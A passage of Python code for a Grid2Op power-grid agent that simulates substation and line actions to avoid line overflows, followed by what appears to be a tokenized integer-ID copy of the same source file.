obs_simulate.rho > 1.0)
if not (done_simulate or has_overflow) and (
to_check_action == self.do_nothing_action):
return self.do_nothing_action, -1
if to_check_action != self.do_nothing_action and obs_simulate.rho.max(
) < 1.0 and not done_simulate:
return to_check_action, -1
# action selection and rerank
extracted_obs = process(observation).astype(np.float32)
top_idx, pred_rho = self.es_agent.predict_unitary_actions_rho(
extracted_obs)
action_selected = [False] * len(self.actions)
for i in range(80):
idx = top_idx[i]
action_selected[idx] = True
# select_action_by_dis
overflow_lines = np.where(observation.rho > 1.0)[0].tolist()
if len(overflow_lines) == 0:
overflow_lines = np.where(obs_simulate.rho > 1.0)[0].tolist()
best_idx = -1
least_overflow_action = self.do_nothing_action
least_overflow = 10.0
least_obs_simulate = obs_simulate
if obs_simulate is not None and not any(np.isnan(obs_simulate.rho)):
least_overflow = float(np.max(obs_simulate.rho))
if reset_action is None:
illegal_pos = self.find_unaccessible_pos(to_check_action)
else:
illegal_pos = []
self.simulation_times += 1
found = False
for idx in range(self.act_num):
if not action_selected[idx]: continue
to_simulate_action = self.actions[idx]
# check conflict
if to_check_action != self.do_nothing_action:
illegal_pos_value = to_simulate_action._set_topo_vect[
illegal_pos]
if np.any(illegal_pos_value):
continue
action1_vec = to_simulate_action.to_vect()
action2_vec = to_check_action.to_vect()
to_simulate_action = self.action_space.from_vect(action1_vec +
action2_vec)
legal_action = self.correct_action(observation, to_simulate_action,
self.sub_ids[idx])
if legal_action == self.do_nothing_action:
continue
obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate(
legal_action)
observation._obs_env._reset_to_orig_state()
max_rho = obs_simulate.rho.max()
assert not info_simulate['is_illegal'] and not info_simulate[
'is_ambiguous']
if obs_simulate is not None and not any(
np.isnan(obs_simulate.rho)):
if not done_simulate:
overflow_value = float(np.max(obs_simulate.rho))
if (not found) and (overflow_value < least_overflow):
least_overflow = overflow_value
least_overflow_action = legal_action
least_obs_simulate = obs_simulate
best_idx = idx
if least_overflow < 0.95:
if not found:
pass
found = True
break
continue
if best_idx != -1:
least_overflow_action = self.correct_action(
observation, least_overflow_action, self.sub_ids[best_idx])
if to_check_action != self.do_nothing_action and least_overflow_action != self.do_nothing_action and reset_action is None:
self.last_disconnect_step = self.step - 1
self.last_diconnect_line = to_maintain_lines[0]
if reset_action is not None:
pass
return least_overflow_action, self.sub_ids[best_idx]
else:
return self.do_nothing_action, -1
def correct_action(self, observation, to_simulate_action, sub_id):
if sub_id != -1:
if observation.time_before_cooldown_sub[sub_id] != 0:
legal_action_vec = deepcopy(self.do_nothing_action.to_vect())
return self.do_nothing_action
else:
legal_action_vec = deepcopy(to_simulate_action.to_vect())
sub_topo = self.sub_topo_dict[sub_id]
if np.any(sub_topo == -1): # line disconnected
start, end = self.action_to_sub_topo[sub_id]
action_topo = legal_action_vec[start:end].astype(
"int") # reference
action_topo[np.where(
sub_topo == -1)[0]] = 0 # done't change bus=-1
legal_action_vec[start:end] = action_topo
legal_action = self.action_space.from_vect(legal_action_vec)
elif sub_id == -1:
legal_action = to_simulate_action
else: # TODO remove
legal_action = self.do_nothing_action
return legal_action
def act(self, observation, reward, done):
self.step += 1
offset = 0
self.sub_topo_dict = {}
for sub_id, sub_elem_num in enumerate(observation.sub_info):
sub_topo = observation.topo_vect[offset:offset + sub_elem_num]
offset += sub_elem_num
self.sub_topo_dict[sub_id] = sub_topo
disconnected = np.where(observation.line_status == False)[0].tolist()
to_maintain_lines = np.where((observation.time_next_maintenance>0) \
& (observation.time_next_maintenance<15))[0]
to_maintain_lines = to_maintain_lines.tolist()
if len(disconnected) > 0:
for line_id in disconnected:
if observation.time_before_cooldown_line[line_id] == 0 and \
line_id not in to_maintain_lines:
reset_action = self.action_space({
"set_line_status": [(line_id, +1)]
})
obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate(
reset_action)
observation._obs_env._reset_to_orig_state()
if np.max(observation.rho) < 1.0 and np.max(
obs_simulate.rho) >= 1.0:
continue
combined_action, sub_id = self.avoid_overflow(
observation, reset_action)
return combined_action
if observation is not None and not any(np.isnan(observation.rho)):
if np.max(observation.rho) < 0.94 and np.any(
observation.topo_vect == 2):
offset = 0
for sub_id, sub_elem_num in enumerate(observation.sub_info):
sub_topo = self.sub_topo_dict[sub_id]
if np.any(
sub_topo == 2
) and observation.time_before_cooldown_sub[sub_id] == 0:
sub_topo = np.where(sub_topo == 2, 1,
sub_topo) # bus 2 to bus 1
sub_topo = np.where(
sub_topo == -1, 0,
sub_topo) # don't do action in bus=-1
reconfig_sub = self.action_space({
"set_bus": {
"substations_id": [(sub_id, sub_topo)]
}
})
obs_simulate, reward_simulate, done_simulate, info_simulate = observation.simulate(
reconfig_sub)
observation._obs_env._reset_to_orig_state()
assert not info_simulate[
'is_illegal'] and not info_simulate['is_ambiguous']
if not done_simulate and obs_simulate is not None and not any(
np.isnan(obs_simulate.rho)):
if np.max(obs_simulate.rho) < 0.95:
return reconfig_sub
else:
pass
action, sub_id = self.avoid_overflow(observation)
return action
| [
1,
396,
259,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29906,
29900,
349,
22352,
29925,
22352,
13189,
943,
29889,
2178,
26863,
2538,
9841,
29889,
13,
29937,
13,
29937,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
29937,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
29937,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
29937,
13,
29937,
268,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
29937,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
29937,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
29937,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
29937,
27028,
1090,
278,
19245,
29889,
13,
13,
3166,
4764,
824,
300,
29918,
4299,
1053,
9206,
6779,
3195,
13,
3166,
831,
1053,
17956,
13,
3166,
831,
29918,
14748,
1053,
382,
8132,
5362,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
5215,
3509,
13,
5215,
12655,
408,
7442,
13,
3166,
3509,
1053,
6483,
8552,
13,
3166,
3667,
29879,
1053,
1889,
13,
5215,
24590,
13,
5215,
282,
22352,
29889,
1579,
5416,
408,
22576,
13,
3166,
24590,
1053,
15359,
13,
13,
13,
1990,
17026,
29906,
21472,
6779,
19661,
29898,
3318,
1125,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
3158,
29918,
3493,
1125,
13,
4706,
9995,
6644,
6646,
263,
716,
10823,
1213,
15945,
13,
13,
4706,
1583,
29889,
2467,
29918,
3493,
353,
3158,
29918,
3493,
13,
13,
4706,
1583,
29889,
7387,
353,
5159,
13,
4706,
8820,
29918,
2003,
353,
7442,
29889,
1359,
703,
6904,
17314,
29918,
5325,
29914,
3332,
29896,
29900,
29900,
29900,
29918,
7387,
29889,
9302,
29920,
1159,
3366,
7387,
3108,
13,
4706,
363,
474,
297,
3464,
29898,
7387,
29918,
2003,
29889,
12181,
29961,
29900,
29962,
1125,
13,
9651,
1044,
353,
3158,
29918,
3493,
29889,
3166,
29918,
345,
312,
29898,
7387,
29918,
2003,
29961,
29875,
2314,
13,
9651,
1583,
29889,
7387,
29889,
4397,
29898,
627,
29897,
13,
13,
4706,
1583,
29889,
7387,
353,
1583,
29889,
7387,
7503,
29896,
29900,
29900,
29900,
29962,
13,
4706,
1583,
29889,
627,
29918,
1949,
353,
7431,
29898,
1311,
29889,
7387,
29897,
13,
4706,
1583,
29889,
1491,
29918,
4841,
353,
7442,
29889,
1359,
877,
6904,
17314,
29918,
5325,
29914,
1491,
29918,
333,
29918,
3888,
29889,
9302,
29920,
1495,
1839,
1491,
29918,
4841,
2033,
13,
4706,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
353,
3158,
29918,
3493,
3319,
1800,
13,
4706,
1583,
29889,
12574,
29918,
4841,
353,
3464,
29898,
2435,
29898,
1311,
29889,
7387,
876,
13,
13,
4706,
9210,
353,
3158,
29918,
3493,
29889,
29876,
29918,
1220,
13,
4706,
1583,
29889,
2467,
29918,
517,
29918,
1491,
29918,
3332,
29877,
353,
6571,
13,
4706,
363,
1014,
29918,
333,
29892,
1014,
29918,
20461,
29918,
1949,
297,
26985,
29898,
2467,
29918,
3493,
29889,
1491,
29918,
3888,
1125,
13,
9651,
1583,
29889,
2467,
29918,
517,
29918,
1491,
29918,
3332,
29877,
29961,
1491,
29918,
333,
29962,
353,
313,
10289,
29892,
9210,
718,
1014,
29918,
20461,
29918,
1949,
29897,
13,
9651,
9210,
4619,
1014,
29918,
20461,
29918,
1949,
13,
4706,
1583,
29889,
10568,
353,
29871,
29900,
13,
13,
4706,
1904,
353,
9206,
6779,
3195,
580,
13,
4706,
5687,
353,
17956,
29898,
4299,
29897,
13,
4706,
1583,
29889,
267,
29918,
14748,
353,
382,
8132,
5362,
29898,
20567,
29897,
13,
4706,
1583,
29889,
267,
29918,
14748,
29889,
5060,
487,
29898,
7620,
29918,
2084,
2433,
6904,
17314,
29918,
5325,
742,
10422,
2433,
4299,
29889,
384,
415,
1495,
13,
13,
4706,
1583,
29889,
517,
29918,
2158,
29918,
1272,
353,
5159,
13,
13,
4706,
1583,
29889,
4230,
29918,
2218,
6915,
29918,
10568,
353,
448,
29896,
29900,
29900,
13,
4706,
1583,
29889,
4230,
29918,
29881,
4144,
4793,
29918,
1220,
353,
6213,
13,
4706,
1583,
29889,
3601,
2785,
29918,
3706,
353,
29871,
29900,
13,
13,
1678,
822,
29611,
29918,
1867,
29918,
28450,
29898,
1311,
29892,
15500,
1125,
13,
4706,
2069,
29918,
517,
29918,
29885,
2365,
475,
29918,
9012,
353,
7442,
29889,
3062,
3552,
26739,
362,
29889,
2230,
29918,
4622,
29918,
3396,
841,
749,
29958,
29900,
29897,
320,
13,
462,
795,
669,
313,
26739,
362,
29889,
2230,
29918,
4622,
29918,
3396,
841,
749,
29966,
29929,
876,
29961,
29900,
29962,
13,
4706,
304,
29918,
3198,
29918,
2467,
353,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
13,
4706,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
5159,
13,
4706,
363,
1196,
29918,
333,
297,
2069,
29918,
517,
29918,
29885,
2365,
475,
29918,
9012,
29901,
13,
9651,
565,
15500,
29889,
1220,
29918,
4882,
29961,
1220,
29918,
333,
5387,
13,
18884,
304,
29918,
29885,
2365,
475,
29918,
9012,
29889,
4397,
29898,
1220,
29918,
333,
29897,
13,
4706,
396,
591,
437,
451,
766,
6915,
278,
871,
1196,
297,
6564,
13,
4706,
565,
7431,
29898,
517,
29918,
29885,
2365,
475,
29918,
9012,
29897,
1275,
29871,
29896,
29901,
13,
9651,
1791,
29918,
10568,
353,
15500,
29889,
2230,
29918,
4622,
29918,
3396,
841,
749,
29961,
517,
29918,
29885,
2365,
475,
29918,
9012,
29961,
29900,
5262,
13,
9651,
565,
1791,
29918,
10568,
1405,
29871,
29896,
29901,
13,
18884,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
5159,
13,
4706,
1683,
29901,
29871,
396,
591,
871,
7344,
278,
937,
1196,
297,
421,
517,
29918,
29885,
2365,
475,
29918,
9012,
29952,
13,
9651,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
304,
29918,
29885,
2365,
475,
29918,
9012,
7503,
29896,
29962,
13,
13,
4706,
565,
7431,
29898,
517,
29918,
29885,
2365,
475,
29918,
9012,
13,
1669,
1723,
2804,
29871,
29900,
322,
1583,
29889,
10568,
448,
1583,
29889,
4230,
29918,
2218,
6915,
29918,
10568,
1405,
29871,
29941,
29901,
13,
9651,
1196,
29918,
4882,
353,
5159,
13,
9651,
363,
1196,
29918,
333,
297,
304,
29918,
29885,
2365,
475,
29918,
9012,
29901,
13,
18884,
1196,
29918,
4882,
29889,
4397,
3552,
1220,
29918,
333,
29892,
448,
29896,
876,
13,
9651,
304,
29918,
3198,
29918,
2467,
353,
1583,
29889,
2467,
29918,
3493,
3319,
13,
18884,
525,
842,
29918,
1220,
29918,
4882,
2396,
1196,
29918,
4882,
13,
9651,
5615,
13,
13,
9651,
20881,
29918,
3601,
5987,
29892,
20751,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
5235,
29918,
3601,
5987,
353,
15500,
29889,
3601,
5987,
29898,
13,
18884,
304,
29918,
3198,
29918,
2467,
29897,
13,
9651,
15500,
3032,
26290,
29918,
6272,
3032,
12071,
29918,
517,
29918,
12683,
29918,
3859,
580,
13,
4706,
1683,
29901,
13,
9651,
20881,
29918,
3601,
5987,
29892,
20751,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
5235,
29918,
3601,
5987,
353,
15500,
29889,
3601,
5987,
29898,
13,
18884,
304,
29918,
3198,
29918,
2467,
29897,
13,
9651,
15500,
3032,
26290,
29918,
6272,
3032,
12071,
29918,
517,
29918,
12683,
29918,
3859,
580,
13,
4706,
736,
20881,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
304,
29918,
3198,
29918,
2467,
29892,
304,
29918,
29885,
2365,
475,
29918,
9012,
13,
13,
1678,
822,
1284,
29918,
348,
5943,
1821,
29918,
1066,
29898,
1311,
29892,
304,
29918,
3198,
29918,
2467,
1125,
13,
4706,
565,
304,
29918,
3198,
29918,
2467,
1275,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
29901,
13,
9651,
736,
5159,
13,
4706,
3454,
353,
304,
29918,
3198,
29918,
2467,
29889,
294,
29918,
8977,
580,
1839,
842,
29918,
1220,
29918,
4882,
16215,
2218,
18045,
29918,
333,
2033,
13,
4706,
3948,
353,
5159,
13,
4706,
363,
1196,
29918,
333,
297,
3454,
29901,
13,
9651,
3948,
29889,
4397,
3552,
1220,
29918,
333,
29892,
29871,
29896,
876,
13,
4706,
1044,
353,
1583,
29889,
2467,
29918,
3493,
3319,
13,
9651,
376,
842,
29918,
8262,
1115,
426,
13,
18884,
376,
9012,
29918,
735,
29918,
333,
1115,
3948,
29892,
13,
18884,
376,
9012,
29918,
272,
29918,
333,
1115,
3948,
13,
9651,
500,
13,
4706,
5615,
13,
4706,
926,
353,
7442,
29889,
3062,
29898,
627,
3032,
842,
29918,
3332,
29877,
29918,
345,
312,
2804,
29871,
29900,
9601,
29900,
29962,
13,
4706,
736,
926,
13,
13,
1678,
822,
4772,
29918,
2262,
29898,
1311,
29892,
15500,
29892,
10092,
29918,
2467,
29922,
8516,
1125,
13,
4706,
565,
10092,
29918,
2467,
338,
6213,
29901,
13,
9651,
20881,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
304,
29918,
3198,
29918,
2467,
29892,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
1583,
29889,
3601,
5987,
29918,
1867,
29918,
28450,
29898,
13,
18884,
15500,
29897,
13,
4706,
1683,
29901,
13,
9651,
304,
29918,
3198,
29918,
2467,
353,
10092,
29918,
2467,
13,
9651,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
5159,
13,
9651,
20881,
29918,
3601,
5987,
29892,
20751,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
5235,
29918,
3601,
5987,
353,
15500,
29889,
3601,
5987,
29898,
13,
18884,
304,
29918,
3198,
29918,
2467,
29897,
13,
9651,
15500,
3032,
26290,
29918,
6272,
3032,
12071,
29918,
517,
29918,
12683,
29918,
3859,
580,
13,
13,
4706,
756,
29918,
2262,
353,
7700,
13,
4706,
565,
15500,
338,
451,
6213,
322,
451,
738,
29898,
9302,
29889,
275,
13707,
29898,
26739,
362,
29889,
4650,
22164,
13,
9651,
756,
29918,
2262,
353,
738,
29898,
26739,
362,
29889,
4650,
1405,
29871,
29896,
29889,
29900,
29897,
470,
738,
29898,
13,
18884,
20881,
29918,
3601,
5987,
29889,
4650,
1405,
29871,
29896,
29889,
29900,
29897,
13,
13,
4706,
565,
451,
313,
15091,
29918,
3601,
5987,
470,
756,
29918,
2262,
29897,
322,
313,
13,
18884,
304,
29918,
3198,
29918,
2467,
1275,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
1125,
13,
9651,
736,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
29892,
448,
29896,
13,
4706,
565,
304,
29918,
3198,
29918,
2467,
2804,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
322,
20881,
29918,
3601,
5987,
29889,
4650,
29889,
3317,
29898,
13,
4706,
1723,
529,
29871,
29896,
29889,
29900,
322,
451,
2309,
29918,
3601,
5987,
29901,
13,
9651,
736,
304,
29918,
3198,
29918,
2467,
29892,
448,
29896,
13,
13,
4706,
396,
3158,
9262,
322,
364,
261,
804,
13,
4706,
23892,
29918,
26290,
353,
1889,
29898,
26739,
362,
467,
579,
668,
29898,
9302,
29889,
7411,
29941,
29906,
29897,
13,
4706,
2246,
29918,
13140,
29892,
4450,
29918,
4650,
353,
1583,
29889,
267,
29918,
14748,
29889,
27711,
29918,
5441,
653,
29918,
7387,
29918,
4650,
29898,
13,
9651,
23892,
29918,
26290,
29897,
13,
13,
4706,
3158,
29918,
8391,
353,
518,
8824,
29962,
334,
7431,
29898,
1311,
29889,
7387,
29897,
13,
4706,
363,
474,
297,
3464,
29898,
29947,
29900,
1125,
13,
9651,
22645,
353,
2246,
29918,
13140,
29961,
29875,
29962,
13,
9651,
3158,
29918,
8391,
29961,
13140,
29962,
353,
5852,
13,
13,
4706,
396,
1831,
29918,
2467,
29918,
1609,
29918,
2218,
13,
4706,
11969,
29918,
9012,
353,
7442,
29889,
3062,
29898,
26739,
362,
29889,
4650,
1405,
29871,
29896,
29889,
29900,
9601,
29900,
1822,
25027,
391,
580,
13,
4706,
565,
7431,
29898,
2262,
29918,
9012,
29897,
1275,
29871,
29900,
29901,
13,
9651,
11969,
29918,
9012,
353,
7442,
29889,
3062,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
1405,
29871,
29896,
29889,
29900,
9601,
29900,
1822,
25027,
391,
580,
13,
13,
4706,
1900,
29918,
13140,
353,
448,
29896,
13,
4706,
3203,
29918,
2262,
29918,
2467,
353,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
13,
4706,
3203,
29918,
2262,
353,
29871,
29896,
29900,
29889,
29900,
13,
4706,
3203,
29918,
26290,
29918,
3601,
5987,
353,
20881,
29918,
3601,
5987,
13,
4706,
565,
20881,
29918,
3601,
5987,
338,
451,
6213,
322,
451,
738,
29898,
9302,
29889,
275,
13707,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
22164,
13,
9651,
3203,
29918,
2262,
353,
5785,
29898,
9302,
29889,
3317,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
876,
13,
13,
4706,
565,
10092,
29918,
2467,
338,
6213,
29901,
13,
9651,
27302,
29918,
1066,
353,
1583,
29889,
2886,
29918,
348,
5943,
1821,
29918,
1066,
29898,
517,
29918,
3198,
29918,
2467,
29897,
13,
4706,
1683,
29901,
13,
9651,
27302,
29918,
1066,
353,
5159,
13,
13,
4706,
1583,
29889,
3601,
2785,
29918,
3706,
4619,
29871,
29896,
13,
4706,
1476,
353,
7700,
13,
4706,
363,
22645,
297,
3464,
29898,
1311,
29889,
627,
29918,
1949,
1125,
13,
9651,
565,
451,
3158,
29918,
8391,
29961,
13140,
5387,
6773,
13,
9651,
304,
29918,
3601,
5987,
29918,
2467,
353,
1583,
29889,
7387,
29961,
13140,
29962,
13,
9651,
396,
1423,
14529,
13,
9651,
565,
304,
29918,
3198,
29918,
2467,
2804,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
29901,
13,
18884,
27302,
29918,
1066,
29918,
1767,
353,
304,
29918,
3601,
5987,
29918,
2467,
3032,
842,
29918,
3332,
29877,
29918,
345,
312,
29961,
13,
462,
1678,
27302,
29918,
1066,
29962,
13,
18884,
565,
7442,
29889,
1384,
29898,
309,
12018,
29918,
1066,
29918,
1767,
1125,
13,
462,
1678,
6773,
13,
18884,
3158,
29896,
29918,
2003,
353,
304,
29918,
3601,
5987,
29918,
2467,
29889,
517,
29918,
345,
312,
580,
13,
18884,
3158,
29906,
29918,
2003,
353,
304,
29918,
3198,
29918,
2467,
29889,
517,
29918,
345,
312,
580,
13,
18884,
304,
29918,
3601,
5987,
29918,
2467,
353,
1583,
29889,
2467,
29918,
3493,
29889,
3166,
29918,
345,
312,
29898,
2467,
29896,
29918,
2003,
718,
13,
462,
462,
462,
462,
3158,
29906,
29918,
2003,
29897,
13,
9651,
11706,
29918,
2467,
353,
1583,
29889,
15728,
29918,
2467,
29898,
26739,
362,
29892,
304,
29918,
3601,
5987,
29918,
2467,
29892,
13,
462,
462,
1669,
1583,
29889,
1491,
29918,
4841,
29961,
13140,
2314,
13,
9651,
565,
11706,
29918,
2467,
1275,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
29901,
13,
18884,
6773,
13,
13,
9651,
20881,
29918,
3601,
5987,
29892,
20751,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
5235,
29918,
3601,
5987,
353,
15500,
29889,
3601,
5987,
29898,
13,
18884,
11706,
29918,
2467,
29897,
13,
9651,
15500,
3032,
26290,
29918,
6272,
3032,
12071,
29918,
517,
29918,
12683,
29918,
3859,
580,
13,
9651,
4236,
29918,
4650,
353,
20881,
29918,
3601,
5987,
29889,
4650,
29889,
3317,
580,
13,
13,
9651,
4974,
451,
5235,
29918,
3601,
5987,
1839,
275,
29918,
309,
12018,
2033,
322,
451,
5235,
29918,
3601,
5987,
29961,
13,
18884,
525,
275,
29918,
14727,
681,
2033,
13,
13,
9651,
565,
20881,
29918,
3601,
5987,
338,
451,
6213,
322,
451,
738,
29898,
13,
462,
1678,
7442,
29889,
275,
13707,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
22164,
13,
18884,
565,
451,
2309,
29918,
3601,
5987,
29901,
13,
462,
1678,
11969,
29918,
1767,
353,
5785,
29898,
9302,
29889,
3317,
29898,
26290,
29918,
3601,
5987,
29889,
4650,
876,
13,
462,
1678,
565,
313,
1333,
1476,
29897,
322,
313,
2262,
29918,
1767,
529,
3203,
29918,
2262,
1125,
13,
462,
4706,
3203,
29918,
2262,
353,
11969,
29918,
1767,
13,
462,
4706,
3203,
29918,
2262,
29918,
2467,
353,
11706,
29918,
2467,
13,
462,
4706,
3203,
29918,
26290,
29918,
3601,
5987,
353,
20881,
29918,
3601,
5987,
13,
462,
4706,
1900,
29918,
13140,
353,
22645,
13,
462,
1678,
565,
3203,
29918,
2262,
529,
29871,
29900,
29889,
29929,
29945,
29901,
13,
462,
4706,
565,
451,
1476,
29901,
13,
462,
9651,
1209,
13,
462,
4706,
1476,
353,
5852,
13,
462,
4706,
2867,
13,
462,
1678,
6773,
13,
13,
4706,
565,
1900,
29918,
13140,
2804,
448,
29896,
29901,
13,
9651,
3203,
29918,
2262,
29918,
2467,
353,
1583,
29889,
15728,
29918,
2467,
29898,
13,
18884,
15500,
29892,
3203,
29918,
2262,
29918,
2467,
29892,
1583,
29889,
1491,
29918,
4841,
29961,
13318,
29918,
13140,
2314,
13,
9651,
565,
304,
29918,
3198,
29918,
2467,
2804,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
322,
3203,
29918,
2262,
29918,
2467,
2804,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
322,
10092,
29918,
2467,
338,
6213,
29901,
13,
18884,
1583,
29889,
4230,
29918,
2218,
6915,
29918,
10568,
353,
1583,
29889,
10568,
448,
29871,
29896,
13,
18884,
1583,
29889,
4230,
29918,
29881,
4144,
4793,
29918,
1220,
353,
304,
29918,
29885,
2365,
475,
29918,
9012,
29961,
29900,
29962,
13,
9651,
565,
10092,
29918,
2467,
338,
451,
6213,
29901,
13,
18884,
1209,
13,
9651,
736,
3203,
29918,
2262,
29918,
2467,
29892,
1583,
29889,
1491,
29918,
4841,
29961,
13318,
29918,
13140,
29962,
13,
4706,
1683,
29901,
13,
9651,
736,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
29892,
448,
29896,
13,
13,
1678,
822,
1959,
29918,
2467,
29898,
1311,
29892,
15500,
29892,
304,
29918,
3601,
5987,
29918,
2467,
29892,
1014,
29918,
333,
1125,
13,
4706,
565,
1014,
29918,
333,
2804,
448,
29896,
29901,
13,
9651,
565,
15500,
29889,
2230,
29918,
11083,
29918,
1111,
1025,
776,
29918,
1491,
29961,
1491,
29918,
333,
29962,
2804,
29871,
29900,
29901,
13,
18884,
11706,
29918,
2467,
29918,
2003,
353,
6483,
8552,
29898,
1311,
29889,
1867,
29918,
28450,
29918,
2467,
29889,
517,
29918,
345,
312,
3101,
13,
18884,
736,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
13,
9651,
1683,
29901,
13,
18884,
11706,
29918,
2467,
29918,
2003,
353,
6483,
8552,
29898,
517,
29918,
3601,
5987,
29918,
2467,
29889,
517,
29918,
345,
312,
3101,
13,
13,
9651,
1014,
29918,
3332,
29877,
353,
1583,
29889,
1491,
29918,
3332,
29877,
29918,
8977,
29961,
1491,
29918,
333,
29962,
13,
9651,
565,
7442,
29889,
1384,
29898,
1491,
29918,
3332,
29877,
1275,
448,
29896,
1125,
29871,
396,
1196,
766,
18045,
13,
18884,
1369,
29892,
1095,
353,
1583,
29889,
2467,
29918,
517,
29918,
1491,
29918,
3332,
29877,
29961,
1491,
29918,
333,
29962,
13,
18884,
3158,
29918,
3332,
29877,
353,
11706,
29918,
2467,
29918,
2003,
29961,
2962,
29901,
355,
1822,
579,
668,
29898,
13,
462,
1678,
376,
524,
1159,
29871,
396,
3407,
13,
18884,
3158,
29918,
3332,
29877,
29961,
9302,
29889,
3062,
29898,
13,
462,
1678,
1014,
29918,
3332,
29877,
1275,
448,
29896,
9601,
29900,
5262,
353,
29871,
29900,
29871,
396,
2309,
29915,
29873,
1735,
3593,
10457,
29896,
13,
18884,
11706,
29918,
2467,
29918,
2003,
29961,
2962,
29901,
355,
29962,
353,
3158,
29918,
3332,
29877,
13,
9651,
11706,
29918,
2467,
353,
1583,
29889,
2467,
29918,
3493,
29889,
3166,
29918,
345,
312,
29898,
12018,
29918,
2467,
29918,
2003,
29897,
13,
13,
4706,
25342,
1014,
29918,
333,
1275,
448,
29896,
29901,
13,
9651,
11706,
29918,
2467,
353,
304,
29918,
3601,
5987,
29918,
2467,
13,
4706,
1683,
29901,
29871,
396,
14402,
3349,
13,
9651,
11706,
29918,
2467,
353,
1583,
29889,
1867,
29918,
28450,
29918,
2467,
13,
4706,
736,
11706,
29918,
2467,
13,
13,
1678,
822,
1044,
29898,
1311,
29892,
15500,
29892,
20751,
29892,
2309,
1125,
13,
4706,
1583,
29889,
10568,
4619,
29871,
29896,
13,
4706,
9210,
353,
29871,
29900,
13,
4706,
1583,
29889,
1491,
29918,
3332,
29877,
29918,
8977,
353,
6571,
13,
4706,
363,
1014,
29918,
333,
29892,
1014,
29918,
20461,
29918,
1949,
297,
26985,
29898,
26739,
362,
29889,
1491,
29918,
3888,
1125,
13,
9651,
1014,
29918,
3332,
29877,
353,
15500,
29889,
3332,
29877,
29918,
345,
312,
29961,
10289,
29901,
10289,
718,
1014,
29918,
20461,
29918,
1949,
29962,
13,
9651,
9210,
4619,
1014,
29918,
20461,
29918,
1949,
13,
9651,
1583,
29889,
1491,
29918,
3332,
29877,
29918,
8977,
29961,
1491,
29918,
333,
29962,
353,
1014,
29918,
3332,
29877,
13,
13,
4706,
766,
18045,
353,
7442,
29889,
3062,
29898,
26739,
362,
29889,
1220,
29918,
4882,
1275,
7700,
9601,
29900,
1822,
25027,
391,
580,
13,
4706,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
7442,
29889,
3062,
3552,
26739,
362,
29889,
2230,
29918,
4622,
29918,
3396,
841,
749,
29958,
29900,
29897,
320,
13,
462,
795,
669,
313,
26739,
362,
29889,
2230,
29918,
4622,
29918,
3396,
841,
749,
29966,
29896,
29945,
876,
29961,
29900,
29962,
13,
4706,
304,
29918,
29885,
2365,
475,
29918,
9012,
353,
304,
29918,
29885,
2365,
475,
29918,
9012,
29889,
25027,
391,
580,
13,
4706,
565,
7431,
29898,
2218,
18045,
29897,
1405,
29871,
29900,
29901,
13,
9651,
363,
1196,
29918,
333,
297,
766,
18045,
29901,
13,
18884,
565,
15500,
29889,
2230,
29918,
11083,
29918,
1111,
1025,
776,
29918,
1220,
29961,
1220,
29918,
333,
29962,
1275,
29871,
29900,
322,
320,
13,
462,
1678,
1196,
29918,
333,
451,
297,
304,
29918,
29885,
2365,
475,
29918,
9012,
29901,
13,
462,
1678,
10092,
29918,
2467,
353,
1583,
29889,
2467,
29918,
3493,
3319,
13,
462,
4706,
376,
842,
29918,
1220,
29918,
4882,
1115,
17288,
1220,
29918,
333,
29892,
718,
29896,
4638,
13,
462,
1678,
5615,
13,
462,
1678,
20881,
29918,
3601,
5987,
29892,
20751,
29918,
3601,
5987,
29892,
2309,
29918,
3601,
5987,
29892,
5235,
29918,
3601,
5987,
353,
15500,
29889,
3601,
5987,
29898,
13,
462,
4706,
10092,
29918,
2467,
29897,
13,
462,
1678,
15500,
3032,
26290,
29918,
6272,
3032,
12071,
29918,
517,
29918,
12683,
29918,
3859,
580,
13,
462,
